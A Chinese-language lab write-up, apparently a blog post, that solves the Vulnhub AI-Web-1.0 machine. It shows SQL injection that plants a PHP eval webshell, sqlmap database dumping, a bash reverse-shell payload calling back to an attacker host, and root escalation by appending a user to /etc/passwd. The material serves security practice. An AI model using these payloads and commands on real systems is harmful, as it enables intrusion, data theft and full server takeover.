Vulnhub靶场--AI-Web-1.0提权获取flag

目录

1、信息搜集

2、获取shell

一、手工测试

二、sqlmap工具测试

3、提权

4、获取flag 


1、信息搜集

(1)使用nmap扫描IP、端口、版本、操作系统

nmap -sn 192.168.214.0/24        #扫描ip
nmap -sV -O 192.168.214.xx         #扫描端口和版本

(2)扫描发现总结

目标主机IP:192.168.214.xx
目标主机开放端口和对应版本:80  Apache httpd
目标主机操作系统: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
                 OS details: Linux 3.2 - 4.9

(3)访问80端口

发现80发现页面没什么用处,没有可用点从目录下手

(4)dirb目录爆破

dirb http://192.168.214.132 /usr/share/dirb/wordlists/common.txt
扫描发现有robots.txt文件,查看之后
User-agent: *
Disallow: 
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/
有两个三个目录接着爆破......
dirb http://192.168.214.132/m3diNf0/ /usr/share/dirb/wordlists/common.txt
dirb http://192.168.214.132/se3reTdir777/ /usr/share/dirb/wordlists/common.txt
dirb http://192.168.214.132/se3reTdir777/uploads/ /usr/share/dirb/wordlists/common.txt

(5)目录扫描总结

http://192.168.214.132/m3diNf0/info.php
此目录可以访问phpinfo的页面,可以看到apache网站的路径http://192.168.214.132/se3reTdir777/index.php



目前目录扫描下来发现就这两个有用,在第一个页面中存在网站的绝对路径,第二个页面中可能存在SQL注入


2、获取shell

一、手工测试

使用'单引号试探,发现报错
构造payload:1'#,进行单引号闭合,再把后面注释,发现页面正常,因此完整payload:
payload:-1' union select 1,database(),3#
后续操作就通过information_schema函数进行拖库即可
​
  ---------------------------------------------------------
  
通过mysql的into outfile写入webshell
- web目录具有写权限,能够使用单引号------满足
- 知道网站绝对路径(根目录,或则是根目录往下的目录都行)-------满足
- secure_file_priv没有具体值 -------------不确定
​
因此尝试写入webshell:
  这里路径的话需要写/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
  因为只有uploads文件夹支持我们读写(通过将已知的路径都尝试一下最终发现的)
  

payload:uid=-1' union select 1,"<?php @eval($_POST['a']);?>",3 into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"#&Operation=Submit
​
访问192.168.214.132/se3reTdir777/uploads/shell.php,给与参数值,发现上传成功
​
-----------------------------------------
通过蚁剑远程shell管理工具连接即可

二、sqlmap工具测试

SQLmap:
1、扫描数据库
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs
  
2、扫描表
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 --tables
----------------------------
两张表:user和systemUser
user表:
----------------------------
3、列名
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
4、内容
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T user --dump -C "firstName,id,lastName"
-----------------------------
systemUser表
-----------------------------
1、列名
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --columns
2、内容
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --dump -C "id,password,userName"
​
到这里,拖库就完成了,接下来就是看能否通过--os-shell上传shell

1、通过--os-shell上传shell
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --dbms=mysql --os-shell

这里路径的话需要写/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
因为只有uploads文件夹支持我们读写(通过将已知的路径都尝试一下最终发现的)
​
运行完成发现获取到shell

3、提权

因为我们获取到的权限是低权限,这时候我们想去查看一些敏感的内容或者操作时,就会没有权限,所以会进行权限提升

通过SQLmap获取shell的时候,他会创建两个文件,一个用来上传文件,一个执行命令
http://192.168.214.132:80/se3reTdir777/uploads/tmpuaymd.php #上传文件地址

 

我们可以通过这里上传PHP的反弹shell:

<?php 
system("bash -c 'bash -i >& /dev/tcp/攻击机IP/攻击机监听端口 0>&1'");
?>
例如上传文件名为2shell.php

 

在本机kali使用
nc -lvp 9999(上传文件监听端口)
然后本机去访问浏览器:http://192.168.214.132:80/se3reTdir777/uploads/2shell.php,反弹成功

反弹之后发现可以cat /etc/passwd
尝试使用修改passwd提权:
在自己的Linux环境上对要添加的账号和密码进行加密:
openssl passwd -1 -salt flag flagpassword
结果:
$1$flag$JDlErWJkkgnrwbn1iINgH1
反弹shell上输入以下:
echo 'flag:$1$flag$JDlErWJkkgnrwbn1iINgH1:0:0::/root:/bin/bash'>>/etc/passwd

总结:在这里我们是通过sqlmap的--os-shell获取到shell,再上传反弹shell的PHP脚本,最后实现提权成功。

当然如果使用手工测试上传的webshell的话也是同样的道理,通过蚁剑连接成功之后,再进行后续提权也是一样的

4、获取flag 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值